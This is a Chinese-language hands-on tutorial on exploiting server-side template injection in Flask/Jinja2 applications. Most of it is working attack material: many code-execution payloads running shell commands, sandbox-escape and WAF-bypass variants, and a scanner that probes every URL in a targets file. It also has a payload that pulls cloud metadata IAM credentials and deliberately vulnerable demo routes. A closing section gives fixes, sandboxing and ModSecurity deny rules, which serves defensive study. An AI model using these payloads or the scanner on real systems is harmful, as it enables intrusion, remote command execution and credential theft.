Flask / Jinja2 SSTI 实战
1. SSTI 产生的根本原因
Jinja2 把 {{ }} 和 {% %} 里的内容当成 Python 表达式求值。当开发者把用户可控数据直接传给 render_template_string 或模板变量被污染时,就会产生 SSTI。
危险代码示例:
from flask import Flask, request
from flask.templating import render_template_string
app = Flask(__name__)
@app.route('/search')
def search():
q = request.args.get('q')
# 危险!直接拼接成模板
template = f"<h1>Search results for: {q}</h1>"
return render_template_string(template)
# PoC: ?q={{7*7}} → 页面显示 49
# PoC: ?q={{config}} → 泄露全部配置含 SECRET_KEY
2. 基础探测 Payload
| Payload | 预期 | 说明 |
|---|---|---|
{{7*7}} |
49 | 最小测试 |
{{7+7}} |
14 | 基础运算 |
{{config}} |
泄露 | Flask 配置对象 |
{{config.items()}} |
泄露 | 全部配置键值 |
{{request}} |
对象 | 请求对象 |
{{self.__class__}} |
类 | Jinja2 内部对象 |
{{''.__class__}} |
class str | 基础类型类 |
3. 构造 MRO 链(关键技巧)
Python 的 方法解析顺序(MRO) 是所有 SSTI Payload 的基础。从任意一个对象的 __class__ 往上爬就能找到 <class 'object'>,再从 object 的子类列表里捞到危险模块。
# Python 3 MRO 链
''.__class__.__mro__
# (class 'str', class 'object')
''.__class__.__mro__[1].__subclasses__()
# [class type, class weakref, class weakcallableproxy, ..., class subprocess.Popen, ...]
# 找到 os._wrap_close(subprocess.Popen 不在默认 list,但可通过 os 模块拿到)
# 或用 _io._wrap_close(在大部分 Python 版本都有)
for c in ''.__class__.__mro__[1].__subclasses__():
if 'Popen' in c.__name__:
print(c)
4. 各场景 RCE Payload
4.1 Flask + Jinja2 默认环境
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[41]('id',shell=True,stdout=-1).communicate()[0].strip() }}
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ get_flashed_messages.__globals__['os'].popen('id').read() }}
{{ request.__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
4.2 Python 3 通用 payload(不需要确定索引)
{{ ''.__class__.__mro__[1].__subclasses__()[213].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
{# 自动寻找带 __import__ 的类 #}
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
4.3 Jinja2 沙箱逃逸(SandboxedEnvironment)
{# 修改 __builtins__ 访问权限 #}
{{ request.environ['werkzeug.server.shutdown'].__func__.__globals__['os'].system('id') }}
{# 通过 join / truncate 等全局对象拿到 globals #}
{{ joiner.__init__.__globals__.__builtins__['__import__']('os').popen('id').read() }}
{{ namespace.__init__.__globals__.__builtins__['__import__']('os').popen('id').read() }}
{# 利用 url_for 拿 flask 全局 #}
{{ url_for.__globals__['current_app'].config }}
{{ url_for.__globals__['__builtins__']['__import__']('os').popen('id').read() }}
4.4 绕过 WAF(过滤了 builtins / __)
{# 用 chr 拼接绕过 __import__ #}
{{ cycler.__init__.__globals__.os.__import__.__call__.__self__.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{# 用 |attr 过滤器绕过点号过滤 #}
{{ cycler|attr('__init__')|attr('__globals__')|attr('os')|attr('popen')('id')|attr('read')() }}
{# 用 request.args 注入 #}
{{ cycler.__init__.__globals__[request.args.kw](request.args.cmd).popen(request.args.c).read() }}
# URL: ?kw=os&cmd=id&c=id
5. SSTI 检测脚本
import requests, urllib3
urllib3.disable_warnings()
def check_ssti(url, param='q'):
tests = [
("{{7*7}}", "49"),
("${7*7}", "49"),
("{{7+7}}", "14"),
]
for payload, marker in tests:
try:
r = requests.get(url, params={param: payload}, timeout=8, verify=False)
if marker in r.text and payload not in r.text:
print(f"[!] {url} 参数 {param} 存在 SSTI (payload: {payload})")
return True
except Exception:
pass
return False
# 进阶:自动探测所有 URL 参数
def scan_url(url):
r = requests.get(url, timeout=8, verify=False)
# 解析所有可能的参数名(简化版)
for param in ['q', 'search', 'name', 'id', 'user', 'page', 'title', 'message', 'greeting']:
check_ssti(url, param)
for u in open("targets.txt"): scan_url(u.strip())
6. 真实案例复现脚本
from flask import Flask, request, render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = 'super-secret-key-12345'
@app.route('/hello')
def hello():
name = request.args.get('name', 'Guest')
# 漏洞:把用户输入拼进模板
return render_template_string(f"<h1>Hello, {name}!</h1>")
@app.route('/greet')
def greet():
# 更危险:直接使用 filter_map 把用户输入交给模板
msg = request.args.get('msg')
tmpl = f"<p>{msg}</p>"
return render_template_string(tmpl)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=False)
# 攻击:
# curl 'http://localhost:5000/hello?name={{7*7}}' → 49
# curl 'http://localhost:5000/greet?msg={{config}}' → 泄露 SECRET_KEY
# curl 'http://localhost:5000/greet?msg={{cycler.__init__.__globals__.os.popen("id").read()}}' → RCE
7. 修复与加固
7.1 代码层(必须做)
# ❌ 危险
return render_template_string(f"<h1>Hello, {name}!</h1>")
# ✅ 正确
return render_template_string("<h1>Hello, {{ name }}!</h1>", name=name)
# 或直接用 render_template
return render_template("hello.html", name=name)
7.2 输入类型约束
from flask_wtf import FlaskForm
from wtforms import StringField, validators
class SearchForm(FlaskForm):
q = StringField('Search', [validators.Length(min=1, max=50), validators.Regexp(r'^[a-zA-Z0-9_]+$')])
7.3 Jinja2 SandboxedEnvironment(可作为防御层)
from jinja2.sandbox import SandboxedEnvironment
# 即使被误用,也能限制影响范围
env = SandboxedEnvironment()
# ❌ env.from_string("{{cycler.__init__.__globals__.os.popen('id').read()}}").render() 会报 SecurityError
7.4 WAF 规则
ModSecurity 规则集:
SecRule ARGS|ARGS_NAMES "@rx (\{\{|\{%|\#\{|\$\{)" "id:950920,phase:2,deny"SecRule ARGS "@rx (__class__|__mro__|__subclasses__|__globals__|__builtins__)" "id:950921,phase:2,deny"
8. 防御层设计优先级
- 根本不要把用户输入当作模板内容;
- Jinja2 只用
{{ var }}形式,不要render_template_string(f"...{user}..."); - 部署 SandboxedEnvironment 作为第二道防线;
- WAF 拦截
{{{%__class__等特征。
9. SSTI 与 SSRF 联动
某些 SSTI 场景下,攻击者可以用 url_for 配合 request.args 对内网发起 SSRF:
{{ request.__class__.__init__.__globals__['requests'].get('http://169.254.169.254/latest/meta-data/iam/security-credentials/').text }}
此时应同时在防火墙层限制对外网的出站请求。
SSTI 是 Python Web 项目最常见也最容易被忽略的漏洞。审计时全局搜索 render_template_string、eval()、exec()、eval(、f"...{user}..." 组合即可快速定位风险点。